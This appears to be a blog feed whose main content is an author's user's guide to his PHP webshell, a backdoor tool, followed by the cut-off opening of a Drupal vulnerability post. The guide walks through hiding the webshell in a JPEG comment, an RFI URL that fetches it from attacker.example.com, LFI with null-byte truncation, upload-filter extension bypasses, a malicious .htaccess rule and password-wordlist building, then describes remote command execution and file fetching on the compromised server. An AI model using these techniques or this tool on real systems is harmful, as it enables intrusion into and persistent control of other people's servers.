WhiteWinterWolf.com - vulnerabilityhttps://www.whitewinterwolf.com/2017-12-02T00:00:00+01:00wwwolf’s PHP webshell user’s guide2017-12-02T00:00:00+01:002017-12-02T00:00:00+01:00WhiteWinterWolftag:www.whitewinterwolf.com,2017-12-02:/posts/2017/12/02/wwwolfs-php-webshell-users-guide/<p>Web shells are backdoors relying on server-side scripting languages to be
executed by the targeted server and usually accessed through a browser.
While focused on <em>wwwolf’s <span class="caps">PHP</span> webshell</em> features, some part of this post are
general and can be applied to other other webshells as well.</p>
<p>While some web shells attempt to provide the most complete post-exploitation
frameworkas possible, and are therefore heavy and prone to bugs and
incompatibilities, <em>wwwolf’s <span class="caps">PHP</span> webshell</em> considers the web shell as a
transitional step in taking over a server.</p>
<p><em>wwwolf’s <span class="caps">PHP</span> webshell</em> focuses on the functionalities necessary to do:</p>
<ul>
<li>Local enumeration to discover the target’s environment and choose your
next step.</li>
<li>Payloads and toolkits files transfer and execution, to proceed with your
next step.</li>
</ul>
<p>It tries its best to:</p>
<ul>
<li><em>Be unobtrusive</em>, with a simple yet efficient interface.</li>
<li><em>Be reliable</em>, being as tolerant as possible regarding the target’s
environment and …</li></ul><p>Web shells are backdoors relying on server-side scripting languages to be
executed by the targeted server and usually accessed through a browser.
While focused on <em>wwwolf’s <span class="caps">PHP</span> webshell</em> features, some part of this post are
general and can be applied to other other webshells as well.</p>
<p>While some web shells attempt to provide the most complete post-exploitation
frameworkas possible, and are therefore heavy and prone to bugs and
incompatibilities, <em>wwwolf’s <span class="caps">PHP</span> webshell</em> considers the web shell as a
transitional step in taking over a server.</p>
<p><em>wwwolf’s <span class="caps">PHP</span> webshell</em> focuses on the functionalities necessary to do:</p>
<ul>
<li>Local enumeration to discover the target’s environment and choose your
next step.</li>
<li>Payloads and toolkits files transfer and execution, to proceed with your
next step.</li>
</ul>
<p>It tries its best to:</p>
<ul>
<li><em>Be unobtrusive</em>, with a simple yet efficient interface.</li>
<li><em>Be reliable</em>, being as tolerant as possible regarding the target’s
environment and the execution method.</li>
<li><em>Provide feedbacks</em>, so the attacker’s knows what’s going on server-side
and stays in control.</li>
</ul>
<h3 id="why-another-web-shell"><a class="toclink" href="#why-another-web-shell">Why another web shell?</a></h3>
<p>I often encountered issues when using other web shells:</p>
<ul>
<li>They use new <span class="caps">PHP</span> syntax and features not compatible with the old <span class="caps">PHP</span>
version running on some targets.</li>
<li>They make wrong assumptions on the remote <span class="caps">URL</span>, breaking <span class="caps">PHP</span> code injection
or <span class="caps">GET</span> parameters (un)expected by the server.</li>
<li>They often only display the standard output content, loosing stderr output.</li>
<li>They poorly handle special characters in output display (such as <code><</code>).</li>
<li>They do not allow file upload, or offer a method unsupported/blocked by the
target’s settings.</li>
<li>They require manual modifications depending whether the target is running
a <span class="caps">UNIX</span>-like or a Windows system.</li>
</ul>
<p><em>wwwolf <span class="caps">PHP</span> webshell</em> attempts to address all these issues and runs everywhere,
without requiring any modification or setting change:</p>
<ul>
<li>
<p>From the antique <span class="caps">PHP</span> 4.0 (2000):</p>
<p><span class="lb-small"><a href="#php4.png" id="php4.png-thumb" title="Click to enlarge"><img alt='PHP 4.0.6 on Linux 2.4.8 (Mandrake 8.1 "vitamin", the browser is Konqueror 2.2.1)' src="https://www.whitewinterwolf.com/posts/2017/12/02/wwwolfs-php-webshell-users-guide/php4.png"/></a></span></p>
</li>
<li>
<p>To the latest <span class="caps">PHP</span> 7 (2017):</p>
<p><span class="lb-small"><a href="#php7.png" id="php7.png-thumb" title="Click to enlarge"><img alt='PHP 7.0.19, running on Linux 4.9.0 (Debian 9.2 "stretch", the browser is Firefox ESR 52.5.0)' src="https://www.whitewinterwolf.com/posts/2017/12/02/wwwolfs-php-webshell-users-guide/php7.png"/></a></span></p>
</li>
<li>
<p>Through Windows servers:</p>
<p><span class="lb-small"><a href="#phpwin.png" id="phpwin.png-thumb" title="Click to enlarge"><img alt="PHP 7.1.11, running on Windows 2016 (the browser is Internet Explorer 11)" src="https://www.whitewinterwolf.com/posts/2017/12/02/wwwolfs-php-webshell-users-guide/phpwin.png"/></a></span></p>
</li>
</ul>
<h3 id="preparation-optional"><a class="toclink" href="#preparation-optional">Preparation (optional)</a></h3>
<h4 id="set-a-password"><a class="toclink" href="#set-a-password">Set a password</a></h4>
<p>You have the possibility to set a password to restrict the access to the
webshell, this is an optional step and by default no password is used.</p>
<p>Don’t do misplaced trust in this feature, as its main purpose is to protect the
innocent who may stumble on the webshell by accident.
In particular:</p>
<ul>
<li>
<p>To remain compatible with the widest range of targets, a relatively “weak”
algorithm (<span class="caps">SHA</span>-256) is used to obfuscate your password.</p>
<p>Even if unlikely when a complex password has being used, it remains safer to
assume that the adversary knows your password as soon as you send the
webshell containing your hash so don’t reuse it for any other purpose.</p>
</li>
<li>
<p>If the target doesn’t have the required <span class="caps">PHP</span> modules enabled, then this
password feature will voluntary fail open with an appropriate warning message.</p>
<p>This password feature is indeed designed as an optional and additional
convenience and must not get in your way of taking over your target.</p>
</li>
</ul>
<p>To set a password to your webshell:</p>
<ol>
<li>
<p>Use the provided <code>passhash.sh</code> script to generate your password hash:</p>
<div class="codehilite"><pre><span class="gp">wwwolf@attacker:~$</span> sh passhash.sh
<span class="go">WhiteWinterWolf's PHP webshell password hash generator</span>
<span class="go">Input the new password: (hidden input)</span>
<span class="go">Type the new password again: (hidden input)</span>
<span class="go">Update 'webshell.php' with the following values:</span>
<span class="go">$passprompt = "WhiteWinterWolf's PHP webshell: ";</span>
<span class="hll"><span class="go">$passhash = "59a3d7ec4e90384fc98251927f1b02ff91f92e478521ecaabbe0c586ff711338";</span>
</span><span class="gp">wwwolf@attacker:~$</span>
</pre></div>
<p><code>passhash.sh</code> offers several options, allowing to use it in an automated
way or to change the value of the webshell’s password prompt.
Use <code>-h</code> to list all available parameters.</p>
</li>
<li>
<p>Update the content of <em>webshell.php</em> as instructed in <code>passhash.sh</code> output:</p>
<div class="codehilite"><pre><span class="x">/*</span>
<span class="x">* Optional password settings.</span>
<span class="x">* Use the 'passhash.sh' script to generate the hash.</span>
<span class="x">* NOTE: the prompt value is tied to the hash!</span>
<span class="x">*/</span>
<span class="x">$passprompt = "WhiteWinterWolf's PHP webshell: ";</span>
<span class="hll"><span class="x">$passhash = "59a3d7ec4e90384fc98251927f1b02ff91f92e478521ecaabbe0c586ff711338";</span>
</span></pre></div>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>As indicated in the source code quoted above, the prompt value is tied
to the hash (it is used as a salt), so altering the prompt will invalidate the
hash and make accessing the webshell impossible unless you used the
<code>-p</code> option in <code>passhash.sh</code> to generate the matching hash value.</p>
</div>
</li>
</ol>
<p>Accessing the webshell now requires to input a password before accessing
main features:</p>
<p><span class="lb-small"><a href="#password.png" id="password.png-thumb" title="Click to enlarge"><img alt="Password input page" src="https://www.whitewinterwolf.com/posts/2017/12/02/wwwolfs-php-webshell-users-guide/password.png"/></a></span></p>
<h4 id="embed-the-webshell-in-an-picture-file"><a class="toclink" href="#embed-the-webshell-in-an-picture-file">Embed the webshell in an picture file</a></h4>
<p>A lot of web applications limit their upload feature to images files (profile
picture, embedded image in a post, etc.), often checking and altering the
file (not necessarily for security purposes, often just to ensure that the
image is properly sized and compressed).</p>
<p>The most documented way to bypass such measure is to include the webshell in
the image’s <abbr title="Exchangeable image file format">Exif</abbr> metadata.
Being the most documented, it is also the most widely checked: a lot of
websites now systematically remove <abbr title="Exchangeable image file format">Exif</abbr> metadata both for security and
privacy<sup id="fnref-exif-privacy"><a class="footnote-ref" href="#fn-exif-privacy">1</a></sup> reasons.</p>
<p>Being the result of a common effort between several media file formats (<abbr title="Exchangeable image file format">Exif</abbr> is
not limited to static images, it can also be used in sound or video files the
same way), <abbr title="Exchangeable image file format">Exif</abbr> is the most widely known but several file formats also offer
their own metadata system <em>in addition</em> to <abbr title="Exchangeable image file format">Exif</abbr> metadata.</p>
<p>The <code>wrjpgcom</code> command shown below integrates the webshell as a <abbr title="Join Photographic Expert Group"><span class="caps">JPEG</span></abbr> comment
block in some random and innocuous <abbr title="Join Photographic Expert Group"><span class="caps">JPEG</span></abbr> image file:</p>
<div class="codehilite"><pre>wrjpgcom -comment <span class="s2">"</span><span class="k">$(</span>cat webshell.php<span class="k">)</span><span class="s2">"</span> innocuous.jpg >malicious.jpg
</pre></div>
<p>The webshell stored this way in <em>malicious.jpg</em>:</p>
<ul>
<li>Won’t be detected by checking the file <abbr title="Multipurpose Internet Mail Extension"><span class="caps">MIME</span></abbr> type or the file content validity.</li>
<li>Won’t be detected nor removed by <abbr title="Exchangeable image file format">Exif</abbr> tools and libraries.</li>
<li>Won’t be affected by image manipulation (resize, resolution change, crop, etc.).</li>
<li>Will remain a fully functional <span class="caps">PHP</span> script file.</li>
</ul>
<h3 id="execute-the-web-shell-on-the-target"><a class="toclink" href="#execute-the-web-shell-on-the-target">Execute the web shell on the target</a></h3>
<p>Obviously a properly secured target won’t let you complete this step.
However, there are a number of potential entry points, from coding error in the
web application to configuration issues in either the web server or <span class="caps">PHP</span>, and
you need only one single exploitable vulnerability to be successful.</p>
<h4 id="remote-file-inclusion-rfi"><a class="toclink" href="#remote-file-inclusion-rfi">Remote file inclusion (<abbr title="Remote File Inclusion"><span class="caps">RFI</span></abbr>)</a></h4>
<p>Consider the following vulnerable <em>download.php</em> file:</p>
<div class="codehilite"><pre><span class="cp"><?php</span>
<span class="k">include</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'file'</span><span class="p">];</span>
</pre></div>
<p>In the <span class="caps">PHP</span> settings, if both <em><a href="https://secure.php.net/manual/en/filesystem.configuration.php" rel="external" title="Runtime Configuration (PHP documentation)">allow_url_fopen</a></em>
(enabled by default) and <em><a href="https://secure.php.net/manual/en/filesystem.configuration.php" rel="external" title="Runtime Configuration (PHP documentation)">allow_url_include</a></em> (added in <span class="caps">PHP</span> 5.2.0, disabled by
default) are enabled, it becomes possible to exploit this code to run
remotely hosted <span class="caps">PHP</span> files:</p>
<div class="codehilite"><pre>http://victim.example.com/download.php?file=http://attacker.example.com/webshell.php.txt
</pre></div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Notice the <em>.txt</em> extension at the end of the file name to avoid the
web shell <span class="caps">PHP</span> code to be interpreted on the attacker’s web server instead of
the targeted one.</p>
</div>
<p>Of course, this is the best scenario, but as stated above <span class="caps">PHP</span> default settings
will now prevent this so most chances are that you will first have to somehow
upload the webshell onto the target in order to execute it.</p>
<h4 id="upload-the-webshell-file-to-the-target"><a class="toclink" href="#upload-the-webshell-file-to-the-target">Upload the webshell file to the target</a></h4>
<h5 id="upload-forms"><a class="toclink" href="#upload-forms">Upload forms</a></h5>
<p>The easiest way to upload a file to the target system remains by using file
upload forms provided by the targeted web application itself.</p>
<p>Especially if you managed to get a valid account, there is a high amount of
chances that you have access to one or several upload forms fields, such as:</p>
<ul>
<li>Adding images or attachments to a post, gallery, private messages,
calendar entries, support tickets or any other kind of object the webapp handles.</li>
<li>Adding a profile picture.</li>
<li>Changing theme and customization features.</li>
</ul>
<p>If you are very lucky and that both:</p>
<ul>
<li>The uploaded file type is not checked.</li>
<li>Uploaded files are stored in a directory where <span class="caps">PHP</span> scripts execution is allowed.</li>
</ul>
<p>Then you can simply upload the plain <em>webshell.php</em> file as-is and access its
resulting <span class="caps">URL</span> directly to execute it.</p>
<h4 id="bypass-file-type-checking"><a class="toclink" href="#bypass-file-type-checking">Bypass file type checking</a></h4>
<h5 id="image-upload-fields"><a class="toclink" href="#image-upload-fields">Image upload fields</a></h5>
<p>A lot of web applications enforce some checks on uploaded files.
This however does not mean that the party is over, as such check may be weakly
implemented (relying on a blacklist instead of a whitelist, using weak regular
expressions, etc.) and still offer various ways to bypass them.</p>
<p>The most most widespread upload feature being image files upload, the most
common check that you will face will therefore be a verification that the file
you uploaded is indeed a valid image.
Sometimes, this check is not designed as a security feature per-see but is
just a side-effect of how the image is being processed server-side.
Image manipulation libraries raising an error on invalid image files, the
upload process will naturally fail.</p>
<p>See <a href="#embed-the-webshell-in-an-picture-file" title="Embed the webshell in an picture file">above</a> to get more information on how to properly embed the
webshell in an image file so that the file will remain a valid image and
the webshell code will persist through most image manipulations.</p>
<h5 id="fancy-names-and-extensions"><a class="toclink" href="#fancy-names-and-extensions">Fancy names and extensions</a></h5>
<p>Various issues exists, either bugs in the web application and/or weak server
settings, which may allow you to upload, and potentially execute, the webshell
when its file is named a certain way:</p>
<ul>
<li>
<p>Replacing the <em>.php</em> extension with an equivalent yet less common extension:
<em>webshell.phtml</em>, <em>webshell.pht</em>, <em>webshell.php7</em>, <em>webshell.php5</em>,
<em>webshell.php4</em>, <em>webshell.php3</em>.
All of them equally designate <span class="caps">PHP</span> script files, but they may be missing on
a list of blacklisted extensions (a sane web application would only rely on
a whitelist of allowed extensions precisely to avoid such issues).</p>
</li>
<li>
<p>Prefixing the <em>.php</em> extension with a known and allowed extension:
<em>webshell.jpg.php</em>.
Some buggy webapp checks may start from the first dot to check the
extension and wrongly allow such file.</p>
</li>
<li>
<p>Inserting a null byte between the real an fake extension
(<em>webshell.php\0.txt</em>) so the check goes against the fake extension
while the file will be saved with the malicious one.</p>
</li>
<li>
<p>With Apache targets: appending an unrecognized extension:
<em>webshell.php.123</em>.
Poorly configured Apache’s will make the <abbr title="Multipurpose Internet Mail Extension"><span class="caps">MIME</span></abbr> module to treat this as a
<a href="https://httpd.apache.org/docs/2.4/mod/mod_mime.html#multipleext" rel="external" title="Apache Module mod_mime: Files with Multiple Extensions (Apache documentation)">double-extension</a> and still invoke <span class="caps">PHP</span> to parse this file.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>This devastating issue came from an unfortunate recommendation in the
<a href="https://web.archive.org/web/20080622154700/http://www.php.net:80/manual/en/install.unix.apache2.php" rel="external" title="Apache 2.0 on Unix systems (PHP documentation - June, 2008 - from the web archive)"><span class="caps">PHP</span> documentation</a> and was the default setting
implemented by major distributions when setting-up <span class="caps">PHP</span> with Apache 2
for years (this documentation was first published in 2004 and fixed
in 2008).</p>
</div>
</li>
<li>
<p>With Windows targets:</p>
<ul>
<li>
<p>You may try to use upper-case letters in the extension to bypass
blacklisting (<em>webshell.pHp</em>).</p>
</li>
<li>
<p>Exploit special characters replacement rules when <span class="caps">PHP</span> is run by a <span class="caps">IIS</span>
server (‘>’, ‘<’ and ‘”’ (double-quote) are respectively replaced by
‘?’, ‘*’ and ‘.’).</p>
</li>
<li>
<p>On old <span class="caps">IIS</span> (6 and below): append the fake extension using a semicolon
as separator (<em>webshell.php;.jpg</em>).</p>
</li>
</ul>
</li>
</ul>
<p>These are just a few examples, you can find other ideas on
<a href="https://www.owasp.org/index.php/Unrestricted_File_Upload" rel="external" title="Unrestricted File Upload (OWASP)"><span class="caps">OWASP</span></a> and <a href="https://www.acunetix.com/websitesecurity/upload-forms-threat/" rel="external" title="Why File Upload Forms are a Major Security Threat (Acunetix)">Acunetix</a> websites.</p>
<h5 id="use-other-services"><a class="toclink" href="#use-other-services">Use other services</a></h5>
<p>Even if the targeted web application itself doesn’t allow file uploads, maybe
there are other webapps or other services running on the same server (<span class="caps">FTP</span>, <span class="caps">SMB</span>,
etc.) which may do.</p>
<p>If not directly vulnerable, these services may still be exploitable due to
password reuse or password guessing.
Various tools, see <a href="https://www.darknet.org.uk/tag/wordlist-generator/" rel="external" title="Wordlist generators (darknet.org.uk)">here</a> for nice descriptions of some of them,
allow to build custom wordlists notably starting from the content of the
targeted webapp.</p>
<p>If, for some reasons, these wordlist creation tools do not work with your
target here are a few shell commands which may help you:</p>
<div class="codehilite"><pre><span class="c"># Create a local mirror of the website.</span>
<span class="c"># Here I exclude .exe, .iso and .msi files (large and not useful here).</span>
wget -mpkEH -D 192.168.13.37 -R <span class="s2">"*.exe,*.iso,*.msi"</span> <span class="s2">"http://192.168.13.37:8081/"</span>
<span class="c"># Create a sorted list of words of more that four chars, lowercase and</span>
<span class="c"># without duplicates.</span>
grep -IRoh -E <span class="s1">'\w{4,}'</span> 192.168.13.37/ <span class="p">|</span> tr <span class="s1">'[A-Z]'</span> <span class="s1">'[a-z]'</span> <span class="p">|</span> sort -u >grep.out
<span class="c"># Generate derivatives from the collected words.</span>
john --wordlist<span class="o">=</span>./grep.out --rules<span class="o">=</span>Single --stdout >john.out
</pre></div>
<h4 id="execute-the-uploaded-file"><a class="toclink" href="#execute-the-uploaded-file">Execute the uploaded file</a></h4>
<h5 id="access-the-files-url"><a class="toclink" href="#access-the-files-url">Access the file’s <span class="caps">URL</span></a></h5>
<p>As long as the uploaded files are located in directories where <span class="caps">PHP</span> scripts
execution is allowed (which, of course, is a very bad idea), several of the
upload method described above allow to execute the <span class="caps">PHP</span> file by simply accessing
its <span class="caps">URL</span>.</p>
<h5 id="rename-the-file"><a class="toclink" href="#rename-the-file">Rename the file</a></h5>
<p>You may have the possibility to rename the file once uploaded.
If the check on the new name is not as thorough as the check on the
original uploaded file name, you may be able to:</p>
<ol>
<li>Upload the webshell embedded in a picture as <em>webshell.jpg</em>.</li>
<li>Rename the uploaded file to <em>webshell.php</em>.</li>
<li>Access the webshell <span class="caps">URL</span> to execute it.</li>
</ol>
<h5 id="exploit-path_info-virtual-directories"><a class="toclink" href="#exploit-path_info-virtual-directories">Exploit <em>PATH_INFO</em> virtual directories</a></h5>
<p><em>PATH_INFO</em> are virtual directory appended to a script name, consider the
following <span class="caps">URL</span>:</p>
<div class="codehilite"><pre>http://example.com/archives.php/2017/12/01
</pre></div>
<p>The path <em>/2017/12/01</em> doesn’t physically exist on the server, but this string
will be passed as parameter to the script <em>/archives.php</em>.</p>
<p>Vulnerable servers will execute the webshell upon reception of a <span class="caps">URI</span> such as
<em>/images/webshell.jpg/anything.php</em>, where <em>/images/webshell.jpg</em>
is the path to the webshell file:</p>
<ul>
<li>
<p>The <span class="caps">URL</span> ending with the <em>.php</em> extension selects the use of the <span class="caps">PHP</span> parser.</p>
</li>
<li>
<p>Since the file <em>anything.php</em> doesn’t exists, the server will consider this
to be a parameter to pass to the <em>/images/webshell.jpg</em> script.</p>
</li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Nginx servers were the most affected by this issue notably because of
weak configuration spread through blogs.
Always check that a <span class="caps">PHP</span> file requested by a client physically
exists on the server before passing the <span class="caps">URL</span> to the <span class="caps">PHP</span> parser.</p>
</div>
<h5 id="local-file-injection-lfi"><a class="toclink" href="#local-file-injection-lfi">Local file injection (<span class="caps">LFI</span>)</a></h5>
<p>If the web application suffers from an <span class="caps">PHP</span> file injection
vulnerability as we saw in the <a href="#remote-file-inclusion-rfi" title="Remote file inclusion (RFI)"><abbr title="Remote File Inclusion"><span class="caps">RFI</span></abbr> section</a> but its exploitation
is not possible (prevented by <span class="caps">PHP</span> settings, hardcoded string beginning, etc.),
you should still be able to use it to trigger a local file injection (<span class="caps">LFI</span>).</p>
<p>It works exactly as a <abbr title="Remote File Inclusion"><span class="caps">RFI</span></abbr>, instead that you provide a local path to a
previously uploaded webshell instead of a remote <span class="caps">URL</span>:</p>
<div class="codehilite"><pre>http://victim.example.com/download.php?file=images/webshell.jpg
</pre></div>
<p>Moreover this method doesn’t require the upload directory to allow <span class="caps">PHP</span> script
execution, however <span class="caps">PHP</span> script must be allowed to read uploaded files (but
they usually do).</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Sometimes it may be hard to precisely determine the exact location of the
uploaded file server-side.
In such situation:</p>
<ul>
<li>
<p>Don’t hesitate to download and install the same
web application as your target on a test system (an evaluation version
for commercial software or a slightly different version than the
target’s one should also be fine).</p>
</li>
<li>
<p>Check the product documentation, users forums and other support
resources to gather information on typical directory tree layouts.</p>
</li>
</ul>
</div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>And what if the extension of the included file is hardcoded?
For instance:</p>
<div class="codehilite"><pre><span class="cp"><?php</span>
<span class="k">include</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'file'</span><span class="p">]</span> <span class="o">.</span> <span class="s1">'.inc.php'</span><span class="p">;</span>
</pre></div>
<p>In <span class="caps">PHP</span> version up to <a href="https://bugs.php.net/bug.php?id=39863" rel="external" title="file_exists() silently truncates after a null byte">5.3.3</a> included (2011) it was possible
to append a null byte at the end of the injected string to truncate it:</p>
<div class="codehilite"><pre>http://victim.example.com/download.php?file=images/webshell.jpg%00
</pre></div>
<p>Some blogs and forums now mention the possibility to still get the string
truncated by making the final string exceed some maximum length, I’m a bit
doubtful about this method and didn’t managed to get it working in
practice, but your mileage may vary<sup id="fnref-any-hints"><a class="footnote-ref" href="#fn-any-hints">2</a></sup>.</p>
</div>
<h5 id="upload-a-htaccess-file"><a class="toclink" href="#upload-a-htaccess-file">Upload a <em>.htaccess</em> file</a></h5>
<p>With Apache servers, if you have the possibility to upload a malicious
<em>.htaccess</em> file you can set <span class="caps">JPG</span> files to be considered as <span class="caps">PHP</span> script as follow:</p>
<div class="codehilite"><pre><span class="nb">AddType</span> application/x-httpd-php .jpg
</pre></div>
<p>In fact, in such situation the whole backdoor could be bundled in the
<em>.htaccess</em>, see Wireghoul’s <a href="https://github.com/wireghoul/htshells" rel="external" title="Self contained htaccess shells and attacks (GitHub)">htshells</a> project for more information.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>On Windows environments, it might be possible to overwrite a <em>.htaccess</em>
file located in the upload directory by exploiting Windows’ 8.3 names and
uploading the new file as <em>htacce~1</em>.</p>
<p>However be careful on how uploaded files are handled by the target service,
in particular if the destination destination file is opened and rewritten
or if the uploaded file is moved to its destination (the most common
behavior with <span class="caps">PHP</span>), as in the latter case this method will delete the
existing <em>.htaccess</em> and replace it with a new file named <em>htacce~1</em>.
This may result in a denial-of-service of the web application.</p>
</div>
<h3 id="main-interface-features"><a class="toclink" href="#main-interface-features">Main interface features</a></h3>
<p><em>wwwolf’s <span class="caps">PHP</span> webshell</em> main interface is composed of several areas.
Not all fields may be available depending on the target’s settings: in this
case a warning message will tell you which feature has been disabled and why.</p>
<p><span class="lb-small"><a href="#gui.png" id="gui.png-thumb" title="Click to enlarge"><img alt="wwwolf's PHP webshell interface" src="https://www.whitewinterwolf.com/posts/2017/12/02/wwwolfs-php-webshell-users-guide/gui.png"/></a></span></p>
<ol>
<li>
<p><strong>Fetch</strong>: these fields allows you to make the target fetch a file
from a remote server, usually a machine under your control.</p>
<p>If <em><a href="https://secure.php.net/manual/en/filesystem.configuration.php" rel="external" title="Runtime Configuration (PHP documentation)">allow_url_fopen</a></em> is enabled (the default but often disabled for
security reasons, wonder why…), the webshell will use <a href="https://secure.php.net/manual/en/function.fopen.php" rel="external" title="fopen (PHP documentation)"><code>fopen()</code></a>
to fetch the file.
Otherwise, it will attempt to use lower-level function allowing to bypass
this limitation.
The fetch method used in the latte case is very basic (redirection for
instance are ignored) but effective.</p>
<ul>
<li>
<p><strong>host</strong>: the address or name of the server the target must connect to.
By default this field is populated with your address as seen by the
remote server.</p>
<p>If OpenSSL is enabled in the target’s <span class="caps">PHP</span>, you can <a href="https://secure.php.net/manual/en/transports.inet.php" rel="external" title="Internet Domain: TCP, UDP, SSL, and TLS (PHP documentation)">use <span class="caps">TLS</span></a>
to protect the communication by prefixing the host name or address with
the <code>tls://</code> prefix<sup id="fnref-fopen-protos"><a class="footnote-ref" href="#fn-fopen-protos">3</a></sup>.</p>
</li>
<li>
<p><strong>port</strong>: the port to connect to.</p>
</li>
<li>
<p><strong>path</strong>: the path of the file to fetch, it should usually start with
a leading <code>/</code>.</p>
</li>
</ul>
</li>
<li>
<p><strong><span class="caps">CWD</span></strong>: The current working directory.</p>
<p>It defaults to the <span class="caps">PHP</span> script’s current working directory.
This default value will most likely directly tell you if you are facing
a Unix-like or a Windows target (compare <em>/var/www/html</em> with
<em>C:\Inetpub\wwwroot</em> for instance).</p>
<p>Any modification to this value will be persistent, allowing to upload
several files and execute various commands in the same
directory without having to re-type the path each time.</p>
<p><em>wwwolf’s <span class="caps">PHP</span> webshell</em> attempts to clear the <em><a href="https://secure.php.net/manual/en/ini.core.php" rel="external" title="Description of core php.ini directives (PHP documentation)">open_basedir</a></em> setting
(this setting should be overwritable since <span class="caps">PHP</span> version 5.3.0 included).
If the operation fails a warning will tell you its value.</p>
</li>
<li>
<p><strong>Upload</strong>: Upload a file, if the <em><a href="https://secure.php.net/manual/en/ini.core.php#ini.sect.file-uploads" rel="external" title="File uploads configuration options (PHP documentation)">file_uploads</a></em> setting allows it.</p>
</li>
<li>
<p><strong>Cmd</strong>: A shell command to execute on the remote server.</p>
<p>You should be able to type the command the same way as you would on a
traditional console, <em>wwolf’s <span class="caps">PHP</span> webshell</em> taking care of passing it
to the target’s shell (<code>/bin/sh</code> on Unix-like and <code>cmd.exe</code> on Windows) and
redirecting the error output to ensure that you get a complete and
accurate feedback.</p>
<p>The value is field is persistent.
To easily browse the target’s filesystem as part of the reconnaissance task,
simply leave this field to <code>ls -Al</code> (Unix-like targets) or <code>dir /a /q /-c</code>
(Windows targets) while changing the value the <em><span class="caps">CWD</span></em> field.</p>
<p>You can execute several commands at once, use <code>;</code> to separate them when
facing a Unix-like target and <code>&</code> to separate them when facing a Windows target.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Some Windows commands use control characters to format their output,
screwing it up as-far-as <span class="caps">PHP</span> is concerned.
Hopefully such commands propose an option to disable this feature, for
instance the <code>dir</code> command offers the <code>/-c</code> parameter.</p>
</div>
</li>
<li>
<p><strong>Clear Cmd</strong>: This link is JavaScript powered and allows to easily
clear and set the focus on the <em>Cmd</em> field.</p>
<p>This is a convenience-only feature as having to manually select and delete
the content of the <em>Cmd</em> field each time you want to execute a different
command may quickly become tedious.</p>
<p>If you don’t use JavaScript this feature will not work but this won’t impact
the webshell functionalities or behavior.</p>
</li>
<li>
<p><strong>Execute</strong>: Click on this button or press <em>Enter</em> to submit the form.</p>
<p>Server-side, the form content will be processed in this order:</p>
<ol>
<li>Change to the directory <em><span class="caps">CWD</span></em>.</li>
<li>Fetch and save a file from the <em>Fetch</em> <span class="caps">URL</span>.</li>
<li>Save a file sent through the <em>Upload</em> field.</li>
<li>Execute the <em>Cmd</em> command.</li>
</ol>
<p>The main idea here is that the current directory is changed as the first
step, and that the command is executed as the last step.
This allows to go in a directory, transfer a file and process it
(extract the tools archive, trigger a payload, etc.) in one single step.</p>
</li>
<li>
<p>This is the output area, containing the executed commands output as well as
warning and information messages from <em>wwwolf’s <span class="caps">PHP</span> webshell</em>.</p>
</li>
</ol>
<p>All form data is sent through <span class="caps">POST</span> requests.
A lot of webshells rely on <span class="caps">GET</span> , but this presents several disadvantages:</p>
<ul>
<li>
<p>If the webshell overwrites a value used to invoke the webshell, this will
fail.
For instance, if the webshell tries to set a value to the <code>path</code> <span class="caps">CGI</span>
parameter but you happen to execute the webshell using a <span class="caps">LFI</span> on the <code>path</code>
<span class="caps">CGI</span> parameter, with most other webshells you will have to manually modify
the webshell to use another variable, loosing time because of a tool limitation.</p>
</li>
<li>
<p>The same way the addition of some <span class="caps">CGI</span> parameters may change the server’s
execution flow, being interpreted as an attempt to access another page or
webapp functionality, again breaking your work and requiring you to alter
the webshell code.</p>
</li>
<li>
<p>The values submitted through <span class="caps">GET</span> are appended to the requested <span class="caps">URL</span> and,
therefore, most likely logged on the target-side.</p>
</li>
</ul>
<p>Using <span class="caps">POST</span> requests instead avoids these issues.</p>
<h3 id="what-to-do-next"><a class="toclink" href="#what-to-do-next">What to do next?</a></h3>
<p>Your next move will depend on a lot of factors, including what you want to
achieve, the nature of your target, your access level, etc.
There is no unique answer to <em>“What to do next?”</em>.</p>
<p>You may want to answer questions such as:</p>
<ul>
<li>What software and which versions is the target running?</li>
<li>Under which account are you executing your commands?</li>
<li>What have you access to? In particular:<ul>
<li>Are there any commands or scripting environment which may help you?</li>
<li>Have you a write access to a directory which would allow you to
store transfered files?</li>
</ul>
</li>
</ul>
<p>Once you know your target a little better, you may want to upload a payload, a
rootkit or a toolbox of some sort on the target to proceed with
privilege escalation or persistence tasks.</p>
<p>Good luck!
And as always: <em>stay ethical!</em></p>
<div class="footnote">
<hr/>
<ol>
<li id="fn-exif-privacy">
<p>Devices and software used to store a lot of potentially
privacy sensitive information as <abbr title="Exchangeable image file format">Exif</abbr> metadata: not only the name, model
and version of the device used but also often its unique <span class="caps">ID</span> number
potentially allowing to link a file with an phyical individual, <span class="caps">GPS</span>
coordinates, a timestamp and a thumbnail which may allow to retrieve hidden
parts of anonymized photographs. <a class="footnote-backref" href="#fnref-exif-privacy" title="Jump back to footnote 1 in the text">↩</a></p>
</li>
<li id="fn-any-hints">
<p>If you have a practical scenario allowing to make this technique
actually work, don’t hesitate to let me know and I will update this post
with your contribution. <a class="footnote-backref" href="#fnref-any-hints" title="Jump back to footnote 2 in the text">↩</a></p>
</li>
<li id="fn-fopen-protos">
<p>When <code>fopen()</code> is used, a side-effect is that you have access
to more protocol prefixes.
For now this is just presented as a low-level “trick” in using this
webshell, to keep things simple.
Feel free to send me feedbacks if you need some more proper handling of
<code>fopen()</code> abilities. <a class="footnote-backref" href="#fnref-fopen-protos" title="Jump back to footnote 3 in the text">↩</a></p>
</li>
</ol>
</div>Drupageddon revisited: a new path from SQL injection to remote command execution (CVE-2014-3704)2017-11-16T00:00:00+01:002017-11-16T00:00:00+01:00WhiteWinterWolftag:www.whitewinterwolf.com,2017-11-16:/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/<p>Usually <a href="https://www.drupal.org" rel="external" title="Drupal project home page">Drupal</a> teams do a great job into ensuring a reasonable security
level to their users.
Most of the Drupal critical vulnerabilities come from community modules,
